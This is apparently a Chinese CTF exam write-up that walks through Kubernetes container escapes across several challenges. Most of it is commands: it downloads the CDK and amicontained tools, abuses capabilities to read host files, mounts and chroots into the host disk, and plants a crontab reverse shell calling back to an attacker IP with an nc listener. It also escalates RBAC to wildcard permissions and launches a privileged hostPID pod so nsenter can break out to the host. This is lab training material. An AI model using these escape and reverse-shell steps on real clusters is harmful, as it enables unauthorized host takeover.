註 : 因為影片比較長所以拆開來錄
期中考為 CTF 形式,題目跟規則參考Day23 - 月圓之夜,決戰 K8s CTF 之巔,一共有6題,解題方式參考如下 :
前置準備 : 準備好使用工具包
wget https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64 -O cdk ;
wget https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64 -O amicontained ;
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" ;
# 開啟伺服器到時候方便抓取工具使用
python3 -m "http.server" 8080 ;
解題思路流程 :
# 判斷是否為特權容器
cat /proc/$$/status ;
# 觀察容器內部狀態
wget http://192.168.56.116:8080/amicontained && chmod +x amicontained ;
./amicontained ;
# 觀察開放能力
capsh --print ;
wget http://192.168.56.116:8080/kubectl && chmod +x kubectl ;
./kubectl auth can-i --list ;
wget http://192.168.56.116:8080/cdk && chmod +x cdk ;
./cdk eva --full ;
#解法1 : 知道檔案名稱及位置情況下讀取特定位置檔案,取得 vm_flag
./cdk run cap-dac-read-search /tmp/vm_flag
#解法2 : 掛載檔案系統進行 chroot 去搜尋
fdisk -l ;
mount /dev/sda2 /mnt ;
chroot /mnt ;
cat /tmp/vm_flag ;
# 為了簡化解法,直接進容器的檔案系統搜尋
cd /var/lib/docker/overlay2 ;
find . -name "*_flag" ;
cat ./[代號]/diff/worker0_flag ;
# 解法3 : chroot 後透過 crontab 打反向 revershell 回來,但是過編輯器會有問題,只能換個方式設定
# 先在本地端準備一個設定 crontab 用的腳本,內容如下 :
crontab -l > root
echo '*/1 * * * * bash -c "bash -i >&/dev/tcp/192.168.38.129/8888 0>&1"' >> root
crontab root
rm root
# 攻擊機上先監聽對應 port
nc -lp 8888 ;
# 在容器上執行進行設定 crontab
cd /tmp && wget http://IP:Prot/腳本名稱 ;
sh 腳本名稱 ;
# 拿到反打的 shell 後,直接用 docker 指令執行去看 flag 數值
docker exec minikube-m02 cat /worker0_flag ;
#1. 下載 kubectl 到受害機器中
#2. 確認 service token 權限
./kubectl -n quiz-2 auth can-i --list
#3. 使用 escalate 修改綁定 clusterrole
./kubectl edit clusterrole practice-escalate-cluster-role
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: practice-escalate-cluster-role
rules:
- apiGroups: ['*']
resources: ['*']
verbs: ['*']
# 建立一個特權容器,並掛載 host pid
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
hostPID: true
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
securityContext:
privileged: true
# 進入該特權容器後進行跳轉
./kubectl exec -it test -- bash ;
nsenter -m -u -i -n -p -t 1 bash ;
# 因為 hostpid 是 minikube 的容器,所以跳轉後直接看檔案即可
cat worker2_flag ;
工具部分準備好 Day27 - 作業3-1 解答 - 撰寫腳本讀取 kubectl logs 的資訊、Day27 - 作業3-2解答 - 讀取 k8s 金鑰檔案進行簽發高權限憑證 會用到的腳本。
這題我承認有點通靈,必須先看出它有掛載目錄在 /var/log/host/ 底下,先切到該資料夾下尋找 quiz-3 的資料夾名稱,並參考 Day27 - 作業3-2解答 - 讀取 k8s 金鑰檔案進行簽發高權限憑證 抓取金鑰檔案內容並且套用該憑證到 context 中。(註: 本題的解法可能只有在 minikube 中才能夠利用)
拿到高權限建立出特權容器進行逃逸。
# 建立一個特權容器,並掛載 host pid
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
hostPID: true
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
securityContext:
privileged: true
# 進入該特權容器後進行跳轉
./kubectl exec -it test -- bash ;
nsenter -m -u -i -n -p -t 1 bash ;
# 因為 hostpid 是 minikube 的容器,所以跳轉後直接看檔案即可
cat worker3_flag ;
今日總結 :
本日回顧 :
次日預告 :